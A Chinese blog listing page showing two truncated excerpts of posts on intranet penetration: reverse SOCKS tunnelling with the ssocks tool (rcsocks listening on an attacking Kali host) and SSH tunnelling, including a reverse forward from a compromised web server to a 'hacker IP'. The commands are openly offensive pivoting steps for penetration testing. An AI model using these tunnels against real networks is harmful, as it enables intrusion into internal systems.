weixin_45427778的博客

内网渗透之——SOCKET隧道 使用socket工具： 下载地址http://sourceforge.net/projects/ssocks/ 下载至web服务器与攻击主机KALI进行编译 解压tar zxvf ssocks-0.0.14/ 编译进入目录 ./configure 然后执行 make 端口监听(反向代理——服务器连接攻主机) 在攻击主机执行./rcsocks -l 1088 -p 1080 -vv 等待远程socks5服务器访问本地1080端口，创建端口1080与本地端口10

内网渗透之——ssh隧道 网络拓扑图： ssh 正向链接： 在web服务器执行 ssh -CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1 在web服务器做端口映射，将数据服务器的80端口映射到web服务器的7777端口，随后访问192.168.0.144:7777即可访问到数据库的80页面。 反向连接： 将web服务器的22端口转发出去到黑客IP web服务器执行： ssh -qTfnN -R 2222:127.0.0.1 root@192.